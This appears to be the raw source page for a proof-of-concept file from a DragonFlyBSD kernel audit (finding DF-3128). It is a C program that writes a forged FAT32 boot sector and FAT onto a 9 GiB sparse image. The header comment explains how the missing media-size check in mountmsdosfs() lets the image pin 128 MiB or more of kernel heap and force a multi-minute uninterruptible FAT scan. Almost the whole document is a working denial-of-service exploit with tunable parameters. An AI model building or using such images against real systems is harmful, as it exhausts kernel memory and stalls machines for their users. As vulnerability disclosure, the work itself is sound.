⬢ DragonFlyBSD Kernel Audit
DF-3128 / craftfat32.c
← back to finding ↓ download raw
/*
 * DF-3128 PoC image crafter: FAT32 BPB claiming a 1.5 TiB volume that
 * lives on a 9 GiB sparse backing file.  Demonstrates that DragonFly's
 * mountmsdosfs() never validates the BPB geometry against the size of
 * the backing device (FreeBSD does: "... > cp->provider->mediasize" --
 * the dropped check is admitted by the in-tree comment at
 * sys/vfs/msdosfs/msdosfs_vfsops.c:434 "XXX FreeBSD also checks media
 * size in above").
 *
 * BPB (byte offsets in the 512-byte boot sector):
 *   11  w  BytesPerSec  = 512    >= DEV_BSIZE, pow2          [checked]
 *   13  b  SecPerClust  = 1      pow2, 1*1 <= MAXBSIZE/DEV_BSIZE [checked]
 *   14  w  ResSectors   = 1      -> pm_fatblk = 1            [trusted]
 *   16  b  FATs         = 1                                 [trusted]
 *   17  w  RootDirEnts  = 0      -> FAT32 branch
 *   19  w  Sectors(16)  = 0      -> 32-bit HugeSectors used
 *   21  b  Media        = 0xF8
 *   22  w  FATsecs(16)  = 0      (must be 0 for FAT32 branch)
 *   28  d  HiddenSecs   = 0
 *   32  d  HugeSectors  = 0xC0000000  (3,221,225,472 sectors = 1.5 TiB claim)
 *   36  d  BigFATsecs   = 0x00800000  (8,388,608 sectors = 4 GiB FAT,
 *                                       physically inside the 9 GiB file)
 *   40  w  ExtFlags     = 0x0080      (FATMIRROR, curfat = 0)
 *   42  w  FSVers       = 0           (must be 0)
 *   44  d  RootClust    = 2
 *   48  w  FSInfo       = 0           (skip the FSInfo sector read)
 *  510  w  boot sig     = 0xAA55      (unchecked: MSDOSFS_NOCHECKSIG)
 *
 * What mountmsdosfs() derives from this on DragonFly:
 *   pm_BlkPerSec    = 1
 *   pm_firstcluster = 1 + 1*8388608              = 8388609
 *   pm_maxcluster   = (0xC0000000 - 8388609)/1+1 = 3212836864
 *   FAT capacity    = 8388608*512/4              = 1073741824 (2^30)
 *   pm_maxcluster   = 2^30 - 1                   (clamped, vfsops.c:486-490)
 *   pm_inusemap     = howmany(2^30+1,32)*4       = 128 MiB kmalloc(M_WAITOK)
 *   fillinusemap()  scans 2^30 FAT entries, reading the 4 GiB zero-FAT
 *
 * FreeBSD mounts of this image fail with EINVAL ("past end of vol").
 * DragonFly accepts them: 128 MiB of wired kernel heap per mount plus a
 * multi-minute uninterruptible FAT scan -- attacker-chosen up to 512 MiB
 * and 2^32 entries (32-bit pm_HugeSectors store + 32-bit BigFATsecs).
 *
 * FAT[0] = 0x0FFFFFF8  == (FAT32_MASK & 0xffffff00) | 0xF8  (media check,
 *                       fillinusemap fat.c:933-938)
 * FAT[1] = 0x0FFFFFFF  (reserved/EOF, stays in-use)
 *
 * build: cc -O2 -o craftfat32 craftfat32.c
 * usage: ./craftfat32 /root/df3128.img
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>

#define DEV_BYTES	(9LL * 1024 * 1024 * 1024)	/* 9 GiB sparse file */

static uint8_t bs[512];

static void
w16(uint8_t *p, uint16_t v)
{
	p[0] = v & 0xff;
	p[1] = v >> 8;
}

static void
w32(uint8_t *p, uint32_t v)
{
	w16(p, (uint16_t)v);
	w16(p + 2, (uint16_t)(v >> 16));
}

int
main(int argc, char **argv)
{
	int fd;
	uint8_t fat[8];

	if (argc != 2) {
		fprintf(stderr, "usage: %s out.img\n", argv[0]);
		return (1);
	}

	memset(bs, 0, sizeof(bs));
	bs[0] = 0xEB; bs[1] = 0x3C; bs[2] = 0x90;	/* jmp */
	memcpy(bs + 3, "DF3128  ", 8);			/* OEM */

	w16(bs + 11, 512);			/* bpbBytesPerSec */
	bs[13] = 1;				/* bpbSecPerClust */
	w16(bs + 14, 1);			/* bpbResSectors */
	bs[16] = 1;				/* bpbFATs */
	w16(bs + 17, 0);			/* bpbRootDirEnts -> FAT32 */
	w16(bs + 19, 0);			/* bpbSectors: use Huge */
	bs[21] = 0xF8;				/* bpbMedia */
	w16(bs + 22, 0);			/* bpbFATsecs: 0 for FAT32 */
	w16(bs + 24, 63);			/* bpbSecPerTrack */
	w16(bs + 26, 255);			/* bpbHeads */
	w32(bs + 28, 0);			/* bpbHiddenSecs */
	w32(bs + 32, 0xC0000000u);		/* bpbHugeSectors: 1.5 TiB */
	w32(bs + 36, 0x00800000u);		/* bpbBigFATsecs: 4 GiB FAT */
	w16(bs + 40, 0x0080);			/* bpbExtFlags: mirror */
	w16(bs + 42, 0);			/* bpbFSVers */
	w32(bs + 44, 2);			/* bpbRootClust */
	w16(bs + 48, 0);			/* bpbFSInfo: skip */
	w16(bs + 50, 0);			/* bpbBackup */
	bs[510] = 0x55; bs[511] = 0xAA;		/* boot sig */

	/* FAT[0]/FAT[1] at byte 512 (block 1, pm_fatblk) */
	w32(fat + 0, 0x0FFFFFF8u);		/* media-ID word */
	w32(fat + 4, 0x0FFFFFFFu);		/* reserved */

	fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return (1); }
	if (ftruncate(fd, DEV_BYTES) != 0) { perror("ftruncate"); return (1); }
	if (pwrite(fd, bs, sizeof(bs), 0) != sizeof(bs)) {
		perror("pwrite bs"); return (1);
	}
	if (pwrite(fd, fat, sizeof(fat), 512) != sizeof(fat)) {
		perror("pwrite fat"); return (1);
	}
	close(fd);

	printf("crafted %s: 9 GiB sparse device, 1.5 TiB claimed FAT32 volume\n",
	    argv[1]);
	printf("  pm_maxcluster will be %u, pm_inusemap %u MiB, FAT scan %u "
	    "entries\n", 1073741823u, 128u, 1073741824u);
	return (0);
}